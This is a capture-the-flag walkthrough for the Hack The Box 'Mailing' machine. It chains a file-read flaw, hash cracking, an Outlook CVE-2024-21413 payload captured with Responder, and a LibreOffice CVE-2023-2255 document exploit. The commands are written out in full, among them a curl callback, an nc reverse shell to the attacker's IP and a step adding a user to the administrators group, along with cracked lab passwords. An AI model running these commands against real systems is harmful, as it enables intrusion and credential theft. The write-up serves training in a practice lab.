HTB - Mailing

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HTB - Mailing

NMAP

Add mailing.htb to /etc/hosts

• Open Burp and capture the request from Download Instructions

• Try and get to the hosts file:

C:\Windows\System32\drivers\etc\hosts

We exclude C:\ when doing traversal:

• We have a LFI vulnerability

• We know that hMailServer is running and the config file for it is in:

C:\Program Files\hMailServer\Bin\hMailServer.ini

But that didn’t work:

• We can try and do:

C:\Program Files(x86)\hMailServer\Bin\hMailServer.ini

And we get the config file back:

We get hashes:

AdministratorPassword=841bb5acfa6779ae432fd7a4e6600ba7

[Database]

Password=0a9f8ad8bf896b501dde74f08efd7e4c

• Crack with hashcat:

hashcat -a 0 -m 0 hashes.txt /usr/share/wordlists/rockyou.txt

Administrator - homenetworkingadministrator

• Not logon creds:

• In order to decrypt the database password - we need to use a program specifically made for it:

https://github.com/GitMirar/hMailDatabasePasswordDecrypter

6FC6F69152AD

• Tried logging in through SMTP - But it didn’t work:

telnet mailing.htb 25

EHLO client.net

AUTH LOGIN

<username>

<password>

• Log in through POP3 - worked but nothing there:

telnet mailing.htb 110

USER Administrator@mailing.htb

PASS homenetworkingadministrator

• If we search for Outlook vulnerabilities we come across this:

https://github.com/xaitax/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability

• Set up Responder:

Responder -I tun0

• And send the following crafted payload (We get the recipient name from the homepage):

python3 CVE-2024-21413.py --server "mailing.htb" --port 587 --username "administrator@mailing.htb" --password "homenetworkingadministrator" --sender "Administrator@mailing.htb" --recipient "maya@mailing.htb" --url '\\10.10.14.15\meeting' --subject "Important"

• And we get a hit:

• Crack with hashcat:

hashcat -a 0 -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt

maya : m4y4ngs4ri

• The creds are good:

• And we can evil-winrm in:

evil-winrm -i mailing.htb -u maya -p m4y4ngs4ri

cat user.txt

• Enumerating - we see a user localadmin:

• Looking at scheduled tasks:

schtasks /query /fo LIST /v | select-string -pattern "localadmin" -context 9,13

We see an office script running under localadmin

• We can also see that LibreOffice is installed:

• Get LibreOffice version:

$libreofficeInstallPath = "C:\Program Files\LibreOffice"
$libreofficeVersion = (Get-Item "$libreofficeInstallPath\program\soffice.bin").VersionInfo.FileVersion
Write-Host "LibreOffice Version: $libreofficeVersion"

• CVE-2023-2255:

• Test the exploit:

https://github.com/elweth-sec/CVE-2023-2255/blob/main/CVE-2023-2255.py

python3 CVE-2023-2255.py --cmd "curl <http://10.10.14.15:8000/a>" --output form.odt

• Upload the form.odt to C:\Important Documents

• Set up python http server to test:

• Uploading nc and trying to get a reverse shell didn’t work because of AV:

python3 CVE-2023-2255.py --cmd "C:\Important Documents\nc.exe 10.10.14.15 8000 -e cmd.exe" --output form.odt

• So instead added maya to admin group:

python3 CVE-2023-2255.py --cmd "net localgroup Administradores /add maya" --output form.odt

• Close the current evil-winrm session and start a new session (otherwise the new group won’t take effect)

cat root.txt

• We can also dump the SAM hashes now